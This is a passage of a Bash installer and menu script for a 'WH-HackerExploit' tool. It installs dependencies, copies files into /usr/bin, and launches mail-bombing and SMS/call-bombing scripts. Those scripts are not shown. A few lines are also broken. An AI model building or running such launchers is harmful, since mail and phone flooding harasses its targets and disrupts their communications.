▓██▓ ░ " 116 | echo "░░██▒██▓ ░▓█▒░██▓ ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒░▒████▒▒██▒ ▒██▒▒██▒ ░ ░░██████▒░ ████▓▒░░██░ ▒██▒ ░ " 117 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ░ ░▓ ░▒▓▒░ ░ ░░ ▒░▓ ░░ ▒░▒░▒░ ░▓ ▒ ░░ " 118 | echo " ▒ ░ ░ ▒ ░▒░ ░ ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░░░ ░▒ ░░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ " 119 | echo " ░ ░ ░ ░░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ " 120 | echo " ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ " 121 | echo " ░ " 122 | echo " " 123 | 124 | echo " ▄▀▀█▄▄ ▄▀▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀▄ ▄▀▄ ▄▀▀█▄▄ ▄▀▀█▀▄ ▄▀▀▄ ▀▄ ▄▀▀▀▀▄ " 125 | echo "▐ ▄▀ █ █ █ █ █ █ █ ▀ █ ▐ ▄▀ █ █ █ █ █ █ █ █ █ " 126 | echo " █▄▄▄▀ █ █ █ █ ▐ █ █ █▄▄▄▀ ▐ █ ▐ ▐ █ ▀█ █ ▀▄▄ " 127 | echo " █ █ ▀▄ ▄▀ ▀▄ ▄▀ █ █ █ █ █ █ █ █ █ █ " 128 | echo " ▄▀▄▄▄▀ ▀▀▀▀ ▀▀▀▀ ▄▀ ▄▀ ▄▀▄▄▄▀ ▄▀▀▀▀▀▄ ▄▀ █ ▐▀▄▄▄▄▀ ▐ " 129 | echo "█ ▐ █ █ █ ▐ █ █ █ ▐ ▐ " 130 | echo "▐ ▐ ▐ ▐ ▐ ▐ ▐ " 131 | 132 | #egrep -i ver toolinfo; 133 | echo "${RESTORE}" 134 | echo "${RED}==============================================================================================================" 135 | echo "${RESTORE}" 136 | echo "${BLUE}" 137 | echo "LEGAL DISCLAIMER >>" 138 | echo "${RED}" 139 | 140 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 141 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 142 | echo "state and federal laws. Developers assume no liability and are not responsible" 143 | echo " for any misuse or damage caused by this program. Only use for educational purposes." 144 | 145 | 146 | echo "" 147 | echo "${RED}==============================================================================================================" 148 | echo "${RESTORE}" 149 | echo "${RESTORE}" 150 | sudo service postgresql stop 151 | 152 | echo "Select Your target Option >" 153 | echo "${YELLOW}" 154 | select planet in "RE-INSTALL" "Iagree" "Dis-agree"${RESTORE} 155 | 156 | do 157 | if [ "$planet" == RE-INSTALL ] 158 | 159 | then 160 | clear 161 | LPARTH=`pwd` 162 | RED=$'\e[1;31m' 163 | GREEN=$'\e[1;32m' 164 | YELLOW=$'\e[1;33m' 165 | BLUE=$'\e[1;34m' 166 | RESTORE=$'\e[0m' 167 | 168 | echo "${RESTORE}" 169 | echo "${YELLOW}" 170 | 171 | 172 | echo " █ █░ ██░ ██ ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ ▓█████ ▒██ ██▒ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓" 173 | echo "▓█░ █ ░█░▓██░ ██▒ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒▓█ ▀ ▒▒ █ █ ▒░▓██░ ██▒▓██▒ ▒██▒ ██▒▓██▒▓ ██▒ ▓▒" 174 | echo "▒█░ █ ░█ ▒██▀▀██░ ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒▒███ ░░ █ ░▓██░ ██▓▒▒██░ ▒██░ ██▒▒██▒▒ ▓██░ ▒░" 175 | echo "░█░ █ ░█ ░▓█ ░██ ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ ▒▓█ ▄ ░ █ █ ▒ ▒██▄█▓▒ ▒▒██░ ▒██ ██░░██░░ ▓██▓ ░ " 176 | echo "░░██▒██▓ ░▓█▒░██▓ ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒░▒████▒▒██▒ ▒██▒▒██▒ ░ ░░██████▒░ ████▓▒░░██░ ▒██▒ ░ " 177 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ░ ░▓ ░▒▓▒░ ░ ░░ ▒░▓ ░░ ▒░▒░▒░ ░▓ ▒ ░░ " 178 | echo " ▒ ░ ░ ▒ ░▒░ ░ ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░░░ ░▒ ░░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ " 179 | echo " ░ ░ ░ ░░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ " 180 | echo " ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ " 181 | echo " ░ " 182 | echo " " 183 | 184 | echo " ▄▀▀█▄▄ ▄▀▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀▄ ▄▀▄ ▄▀▀█▄▄ ▄▀▀█▀▄ ▄▀▀▄ ▀▄ ▄▀▀▀▀▄ " 185 | echo "▐ ▄▀ █ █ █ █ █ █ █ ▀ █ ▐ ▄▀ █ █ █ █ █ █ █ █ █ " 186 | echo " █▄▄▄▀ █ █ █ █ ▐ █ █ █▄▄▄▀ ▐ █ ▐ ▐ █ ▀█ █ ▀▄▄ " 187 | echo " █ █ ▀▄ ▄▀ ▀▄ ▄▀ █ █ █ █ █ █ █ █ █ █ " 188 | echo " ▄▀▄▄▄▀ ▀▀▀▀ ▀▀▀▀ ▄▀ ▄▀ ▄▀▄▄▄▀ ▄▀▀▀▀▀▄ ▄▀ █ ▐▀▄▄▄▄▀ ▐ " 189 | echo "█ ▐ █ █ █ ▐ █ █ █ ▐ ▐ " 190 | echo "▐ ▐ ▐ ▐ ▐ ▐ ▐ " 191 | #egrep -i ver toolinfo; 192 | 193 | echo "${RESTORE}" 194 | echo "${RED}==============================================================================================================" 195 | echo "${RESTORE}" 196 | echo "${BLUE}" 197 | echo "LEGAL DISCLAIMER >>" 198 | echo "${RED}" 199 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 200 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 201 | echo "state and federal laws. Developers assume no liability and are not responsible" 202 | echo "for any misuse or damage caused by this program. Only use for educational purposes." 203 | echo "" 204 | echo "${RED}==============================================================================================================" 205 | echo "${RESTORE}" 206 | echo "${RESTORE}" 207 | 208 | sleep 1.5; 209 | 210 | echo "${YELLOW}" 211 | echo "[*] Checking For Internet Connection >>>>>>>" 212 | echo "" 213 | function checkinternet() 214 | { 215 | ping -c 1 google.com > /dev/null 2>&1 216 | if [[ "$?" != 0 ]] 217 | then 218 | echo -e "[*] Warning >Internet Connection:${RED} FAILED ${YELLOW}" 219 | echo 220 | echo -e "[*] This framework Needs An Active Internet Connection" 221 | echo 222 | echo -e "[*] HackerExploit >> Exit :( " 223 | echo && sleep 2 224 | exit 225 | else 226 | echo -e "[*] Internet Status : ${GREEN} CONNECTED" 227 | fi 228 | } 229 | checkinternet 230 | 231 | 232 | apc=`which python` 233 | if [ "$?" != "0" ]; then 234 | FaIl="YES" 235 | echo ${BLUE}[x]${RED} python installation '->' not found!${RESTORE}; 236 | sleep 1 237 | echo ${BLUE}[↻]${YELLOW} This script requires python to work!${Resetr1}; 238 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 239 | echo "" 240 | sudo apt-get install python -y 241 | echo "" 242 | else 243 | echo ${BLUE}[✓]${YELLOW}" python installation : ${GREEN}found!"${RESTORE}; 244 | sleep 1 245 | fi 246 | 247 | 248 | 249 | apc=`which python3` 250 | if [ "$?" != "0" ]; then 251 | FaIl="YES" 252 | echo ${BLUE}[x]${RED} python3 installation '->' not found!${RESTORE}; 253 | sleep 1 254 | echo ${BLUE}[↻]${YELLOW} This script requires python3 to work!${Resetr1}; 255 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 256 | echo "" 257 | sudo apt-get install python3 -y 258 | echo "" 259 | else 260 | echo ${BLUE}[✓]${YELLOW}" python3 installation : ${GREEN}found!"${RESTORE}; 261 | sleep 1 262 | fi 263 | 264 | apc=`which pip` 265 | if [ "$?" != "0" ]; then 266 | FaIl="YES" 267 | echo ${BLUE}[x]${RED} pip installation '->' not found!${RESTORE}; 268 | sleep 1 269 | echo ${BLUE}[↻]${YELLOW} This script requires pip to work!${Resetr1}; 270 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 271 | echo "" 272 | sudo apt-get install python-pip -y 273 | echo "" 274 | else 275 | echo ${BLUE}[✓]${YELLOW}" pip installation : ${GREEN}found!"${RESTORE}; 276 | sleep 1 277 | fi 278 | 279 | apc=`which pip3` 280 | if [ "$?" != "0" ]; then 281 | FaIl="YES" 282 | echo ${BLUE}[x]${RED} pip3 installation '->' not found!${RESTORE}; 283 | sleep 1 284 | echo ${BLUE}[↻]${YELLOW} This script requires pip3 to work!${Resetr1}; 285 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 286 | echo "" 287 | sudo apt-get install python-pip3 -y 288 | echo "" 289 | else 290 | echo ${BLUE}[✓]${YELLOW}" pip3 installation : ${GREEN}found!"${RESTORE}; 291 | sleep 1 292 | fi 293 | apc=`which figlet` 294 | if [ "$?" != "0" ]; then 295 | FaIl="YES" 296 | echo ${BLUE}[x]${RED} figlet installation '->' not found!${RESTORE}; 297 | sleep 1 298 | echo ${BLUE}[↻]${YELLOW} This script requires figlet to work!${Resetr1}; 299 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 300 | echo "" 301 | sudo apt-get install figlet -y 302 | echo "" 303 | else 304 | echo ${BLUE}[✓]${YELLOW}" figlet installation : ${GREEN}found!"${RESTORE}; 305 | sleep 1 306 | fi 307 | apc=`which toilet` 308 | if [ "$?" != "0" ]; then 309 | FaIl="YES" 310 | echo ${BLUE}[x]${RED} toilet installation '->' not found!${RESTORE}; 311 | sleep 1 312 | echo ${BLUE}[↻]${YELLOW} This script requires toilet to work!${Resetr1}; 313 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 314 | echo "" 315 | sudo apt-get install toilet -y 316 | echo "" 317 | else 318 | echo ${BLUE}[✓]${YELLOW}" toilet installation : ${GREEN}found!"${RESTORE}; 319 | sleep 1 320 | fi 321 | 322 | apc=`which zenity` 323 | if [ "$?" != "0" ]; then 324 | FaIl="YES" 325 | echo ${BLUE}[x]${RED} zenity installation '->' not found!${RESTORE}; 326 | sleep 1 327 | echo ${BLUE}[↻]${YELLOW} This script requires zenity to work!${Resetr1}; 328 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 329 | echo "" 330 | sudo apt-get install zenity -y 331 | echo "" 332 | else 333 | echo ${BLUE}[✓]${YELLOW}" zenity installation : ${GREEN}found!"${RESTORE}; 334 | sleep 1 335 | fi 336 | 337 | pip install -r $LPARTH/whb-bin/requirements.txt 338 | pip3 install -r $LPARTH/whb-bin/requirements.txt 339 | 340 | sleep 1; 341 | 342 | 343 | 344 | 345 | 346 | 347 | apc=`which $LPARTH/run` 348 | if [ "$?" != "0" ]; then 349 | FaIl="YES" 350 | echo ${BLUE}[x]${RED} RUN File '->' not found!${RESTORE}; 351 | sleep 1 352 | echo ${BLUE}[↻]${YELLOW} This script requires Run files to work!${RESTORE}; 353 | echo ${BLUE}[☆]${YELLOW} Please wait: installing missing dependencies ..${RESTORE}; 354 | echo "" 355 | cp $LPARTH/WHB.sh $LPARTH/run 356 | 357 | echo "" 358 | else 359 | cp $LPARTH/run /usr/bin/whbom 360 | cp -r $LPARTH/whb-bin /usr/bin/ 361 | cp $LPARTH/whmenu.sh /usr/bin/ 362 | sleep 1; 363 | 364 | chmod +x /usr/bin/whbom 365 | chmod +x /usr/bin/whmenu.sh 366 | chmod +x /usr/bin/whb-bin/bomber.py 367 | chmod +x /usr/bin/whb-bin/BomMaiL.py 368 | chmod +x /usr/bin/whb-bin/scBomb.sh 369 | 370 | 371 | echo "Now you can run This Tool Any whare by ( whbom )" 372 | 373 | sleep 1 374 | fi 375 | 376 | 377 | 378 | apc=`which $LPARTH/run` 379 | if [ "$?" != "0" ]; then 380 | FaIl="YES" 381 | echo ${BLUE}[x]${RED} RUN File '->' not found!${RESTORE}; 382 | sleep 1 383 | echo ${BLUE}[↻]${YELLOW} This script requires Run files to work!${RESTORE}; 384 | echo ${BLUE}[☆] ${YELLOW}Please wait: installing missing dependencies ..${RESTORE}; 385 | echo "" 386 | cp $LPARTH/whb-bin/WHB.sh $LPARTH/run 387 | 388 | echo "" 389 | else 390 | cp $LPARTH/run /usr/bin/whbom 391 | cp -r $LPARTH/whb-bin /usr/bin/ 392 | cp $LPARTH/whmenu.sh /usr/bin/ 393 | sleep 1; 394 | 395 | chmod +x /usr/bin/whbom 396 | chmod +x /usr/bin/whmenu.sh 397 | chmod +x /usr/bin/whb-bin/bomber.py 398 | chmod +x /usr/bin/whb-bin/BomMaiL.py 399 | chmod +x /usr/bin/whb-bin/scBomb.sh 400 | 401 | sleep 2; 402 | 403 | clear 404 | echo "${GREEN} WELCOME TO The ${RESTORE}" 405 | echo "${RESTORE}" 406 | echo "${YELLOW}" 407 | 408 | 409 | echo " █ █░ ██░ ██ ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ ▓█████ ▒██ ██▒ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓" 410 | echo "▓█░ █ ░█░▓██░ ██▒ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒▓█ ▀ ▒▒ █ █ ▒░▓██░ ██▒▓██▒ ▒██▒ ██▒▓██▒▓ ██▒ ▓▒" 411 | echo "▒█░ █ ░█ ▒██▀▀██░ ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒▒███ ░░ █ ░▓██░ ██▓▒▒██░ ▒██░ ██▒▒██▒▒ ▓██░ ▒░" 412 | echo "░█░ █ ░█ ░▓█ ░██ ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ ▒▓█ ▄ ░ █ █ ▒ ▒██▄█▓▒ ▒▒██░ ▒██ ██░░██░░ ▓██▓ ░ " 413 | echo "░░██▒██▓ ░▓█▒░██▓ ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒░▒████▒▒██▒ ▒██▒▒██▒ ░ ░░██████▒░ ████▓▒░░██░ ▒██▒ ░ " 414 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ░ ░▓ ░▒▓▒░ ░ ░░ ▒░▓ ░░ ▒░▒░▒░ ░▓ ▒ ░░ " 415 | echo " ▒ ░ ░ ▒ ░▒░ ░ ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░░░ ░▒ ░░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ " 416 | echo " ░ ░ ░ ░░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ " 417 | echo " ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ " 418 | echo " ░ " 419 | echo " " 420 | 421 | echo " ▄▀▀█▄▄ ▄▀▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀▄ ▄▀▄ ▄▀▀█▄▄ ▄▀▀█▀▄ ▄▀▀▄ ▀▄ ▄▀▀▀▀▄ " 422 | echo "▐ ▄▀ █ █ █ █ █ █ █ ▀ █ ▐ ▄▀ █ █ █ █ █ █ █ █ █ " 423 | echo " █▄▄▄▀ █ █ █ █ ▐ █ █ █▄▄▄▀ ▐ █ ▐ ▐ █ ▀█ █ ▀▄▄ " 424 | echo " █ █ ▀▄ ▄▀ ▀▄ ▄▀ █ █ █ █ █ █ █ █ █ █ " 425 | echo " ▄▀▄▄▄▀ ▀▀▀▀ ▀▀▀▀ ▄▀ ▄▀ ▄▀▄▄▄▀ ▄▀▀▀▀▀▄ ▄▀ █ ▐▀▄▄▄▄▀ ▐ " 426 | echo "█ ▐ █ █ █ ▐ █ █ █ ▐ ▐ " 427 | echo "▐ ▐ ▐ ▐ ▐ ▐ ▐ " 428 | #egrep -i ver toolinfo; 429 | echo "${RED}==============================================================================================================" 430 | echo "${RESTORE}" 431 | echo "${BLUE}" 432 | 433 | echo "LEGAL DISCLAIMER >>" 434 | echo "${RED}" 435 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 436 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 437 | echo "state and federal laws. Developers assume no liability and are not responsible" 438 | echo "for any misuse or damage caused by this program. Only use for educational purposes." 439 | echo "" 440 | echo "${RED}==============================================================================================================" 441 | 442 | echo "" 443 | echo "" 444 | echo "${BLUE}[✓]${GREEN} installation successfully completed ${RESTORE}" 445 | 446 | echo "" 447 | 448 | echo "${BLUE}[⇆]${YELLOW} Now you can run This Tool Any whare by this Commend${GREEN} ( whbom )${YELLOW} .${RESTORE}" 449 | 450 | sleep 1 451 | fi 452 | 453 | ✓↻⇆ 454 | 455 | 456 | 457 | 458 | 459 | 460 | 461 | 462 | bash $LPARTH/WHB.sh 463 | exit 464 | elif [ "$planet" == Iagree ] 465 | then 466 | 467 | 468 | 469 | 470 | 471 | #============================================== 472 | 473 | 474 | 475 | clear 476 | 477 | #logo or name 478 | echo "${GREEN} WELCOME TO The ${RESTORE}" 479 | echo "${RESTORE}" 480 | echo "${YELLOW}" 481 | 482 | 483 | echo " █ █░ ██░ ██ ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ ▓█████ ▒██ ██▒ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓" 484 | echo "▓█░ █ ░█░▓██░ ██▒ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒▓█ ▀ ▒▒ █ █ ▒░▓██░ ██▒▓██▒ ▒██▒ ██▒▓██▒▓ ██▒ ▓▒" 485 | echo "▒█░ █ ░█ ▒██▀▀██░ ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒▒███ ░░ █ ░▓██░ ██▓▒▒██░ ▒██░ ██▒▒██▒▒ ▓██░ ▒░" 486 | echo "░█░ █ ░█ ░▓█ ░██ ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ ▒▓█ ▄ ░ █ █ ▒ ▒██▄█▓▒ ▒▒██░ ▒██ ██░░██░░ ▓██▓ ░ " 487 | echo "░░██▒██▓ ░▓█▒░██▓ ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒░▒████▒▒██▒ ▒██▒▒██▒ ░ ░░██████▒░ ████▓▒░░██░ ▒██▒ ░ " 488 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ░ ░▓ ░▒▓▒░ ░ ░░ ▒░▓ ░░ ▒░▒░▒░ ░▓ ▒ ░░ " 489 | echo " ▒ ░ ░ ▒ ░▒░ ░ ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░░░ ░▒ ░░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ " 490 | echo " ░ ░ ░ ░░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ " 491 | echo " ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ " 492 | echo " ░ " 493 | echo " " 494 | 495 | echo " ▄▀▀█▄▄ ▄▀▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀▄ ▄▀▄ ▄▀▀█▄▄ ▄▀▀█▀▄ ▄▀▀▄ ▀▄ ▄▀▀▀▀▄ " 496 | echo "▐ ▄▀ █ █ █ █ █ █ █ ▀ █ ▐ ▄▀ █ █ █ █ █ █ █ █ █ " 497 | echo " █▄▄▄▀ █ █ █ █ ▐ █ █ █▄▄▄▀ ▐ █ ▐ ▐ █ ▀█ █ ▀▄▄ " 498 | echo " █ █ ▀▄ ▄▀ ▀▄ ▄▀ █ █ █ █ █ █ █ █ █ █ " 499 | echo " ▄▀▄▄▄▀ ▀▀▀▀ ▀▀▀▀ ▄▀ ▄▀ ▄▀▄▄▄▀ ▄▀▀▀▀▀▄ ▄▀ █ ▐▀▄▄▄▄▀ ▐ " 500 | echo "█ ▐ █ █ █ ▐ █ █ █ ▐ ▐ " 501 | echo "▐ ▐ ▐ ▐ ▐ ▐ ▐ " 502 | #egrep -i ver toolinfo; 503 | echo "${RESTORE}" 504 | echo "${RED}==============================================================================================================" 505 | echo "${RESTORE}" 506 | echo "${BLUE}" 507 | echo "LEGAL DISCLAIMER >>" 508 | echo "${RED}" 509 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 510 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 511 | echo "state and federal laws. Developers assume no liability and are not responsible" 512 | echo "for any misuse or damage caused by this program. Only use for educational purposes." 513 | echo "" 514 | echo "${RED}==============================================================================================================" 515 | echo "${RESTORE}" 516 | echo "${RESTORE}" 517 | 518 | # 1. Create ProgressBar function 519 | # 1.1 Input is currentState($1) and totalState($2) 520 | function ProgressBar { 521 | # Process data 522 | let _progress=(${1}*100/${2}*100)/100 523 | let _done=(${_progress}*4)/10 524 | let _left=40-$_done 525 | # Build progressbar string lengths 526 | _fill=$(printf "%${_done}s") 527 | _empty=$(printf "%${_left}s") 528 | 529 | # 1.2 Build progressbar strings and print the ProgressBar line 530 | # 1.2.1 Output example: 531 | # 1.2.1.1 Progress : [########################################] 100% 532 | printf "\rProgress framework : [${_fill// /\#}${_empty// /-}] ${_progress}%%" 533 | 534 | } 535 | 536 | # Variables 537 | _start=1 538 | 539 | # This accounts as the "totalState" variable for the ProgressBar function 540 | _end=100 541 | 542 | # Proof of concept 543 | for number in $(seq ${_start} ${_end}) 544 | do 545 | sleep 0.1 546 | 547 | ProgressBar ${number} ${_end} 548 | done 549 | printf '\nFinished!\n' 550 | mpv /usr/bin/whb-bin/scifi.mp3 | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Starting - Framework" --percentage=0 --auto-close --width 300 > /dev/null 2>&1 551 | # service postgresql start | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Start Metasploit services" --percentage=0 --auto-close --width 300 > /dev/null 2>&1 552 | 553 | 554 | clear 555 | 556 | #logo or name 557 | echo "${GREEN} WELCOME TO The ${RESTORE}" 558 | echo "${RESTORE}" 559 | echo "${YELLOW}" 560 | 561 | 562 | 563 | echo " █ █░ ██░ ██ ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ ▓█████ ▒██ ██▒ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓" 564 | echo "▓█░ █ ░█░▓██░ ██▒ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒▓█ ▀ ▒▒ █ █ ▒░▓██░ ██▒▓██▒ ▒██▒ ██▒▓██▒▓ ██▒ ▓▒" 565 | echo "▒█░ █ ░█ ▒██▀▀██░ ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒▒███ ░░ █ ░▓██░ ██▓▒▒██░ ▒██░ ██▒▒██▒▒ ▓██░ ▒░" 566 | echo "░█░ █ ░█ ░▓█ ░██ ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ ▒▓█ ▄ ░ █ █ ▒ ▒██▄█▓▒ ▒▒██░ ▒██ ██░░██░░ ▓██▓ ░ " 567 | echo "░░██▒██▓ ░▓█▒░██▓ ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒░▒████▒▒██▒ ▒██▒▒██▒ ░ ░░██████▒░ ████▓▒░░██░ ▒██▒ ░ " 568 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ░ ░▓ ░▒▓▒░ ░ ░░ ▒░▓ ░░ ▒░▒░▒░ ░▓ ▒ ░░ " 569 | echo " ▒ ░ ░ ▒ ░▒░ ░ ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░░░ ░▒ ░░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ " 570 | echo " ░ ░ ░ ░░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ " 571 | echo " ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ " 572 | echo " ░ " 573 | echo " " 574 | 575 | echo " ▄▀▀█▄▄ ▄▀▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀▄ ▄▀▄ ▄▀▀█▄▄ ▄▀▀█▀▄ ▄▀▀▄ ▀▄ ▄▀▀▀▀▄ " 576 | echo "▐ ▄▀ █ █ █ █ █ █ █ ▀ █ ▐ ▄▀ █ █ █ █ █ █ █ █ █ " 577 | echo " █▄▄▄▀ █ █ █ █ ▐ █ █ █▄▄▄▀ ▐ █ ▐ ▐ █ ▀█ █ ▀▄▄ " 578 | echo " █ █ ▀▄ ▄▀ ▀▄ ▄▀ █ █ █ █ █ █ █ █ █ █ " 579 | echo " ▄▀▄▄▄▀ ▀▀▀▀ ▀▀▀▀ ▄▀ ▄▀ ▄▀▄▄▄▀ ▄▀▀▀▀▀▄ ▄▀ █ ▐▀▄▄▄▄▀ ▐ " 580 | echo "█ ▐ █ █ █ ▐ █ █ █ ▐ ▐ " 581 | echo "▐ ▐ ▐ ▐ ▐ ▐ ▐ " 582 | #egrep -i ver toolinfo; 583 | echo "${RESTORE}" 584 | echo "${RED}==============================================================================================================" 585 | echo "${RESTORE}" 586 | echo "${BLUE}" 587 | echo "LEGAL DISCLAIMER >>" 588 | echo "${RED}" 589 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 590 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 591 | echo "state and federal laws. Developers assume no liability and are not responsible" 592 | echo "for any misuse or damage caused by this program. Only use for educational purposes." 593 | echo "" 594 | echo "${RED}==============================================================================================================" 595 | echo "${RESTORE}" 596 | echo "${RESTORE}" 597 | 598 | 599 | echo "Select Your target Option >" 600 | echo "${YELLOW}" 601 | 602 | select planet in "Mail-Boom" "SMS-and-Call" "Exit" 603 | do 604 | if [ "$planet" == Mail-Boom ] 605 | 606 | then 607 | python $LPARTH/whb-bin/BomMaiL.py 608 | 609 | bash $homemenu 610 | 611 | elif [ "$planet" == SMS-and-Call ] 612 | then 613 | bash $LPARTH/whb-bin/scBomb.sh 614 | bash $homemenu 615 | 616 | else [ "$plant" == Exit ] 617 | 618 | 619 | 620 | echo "Good 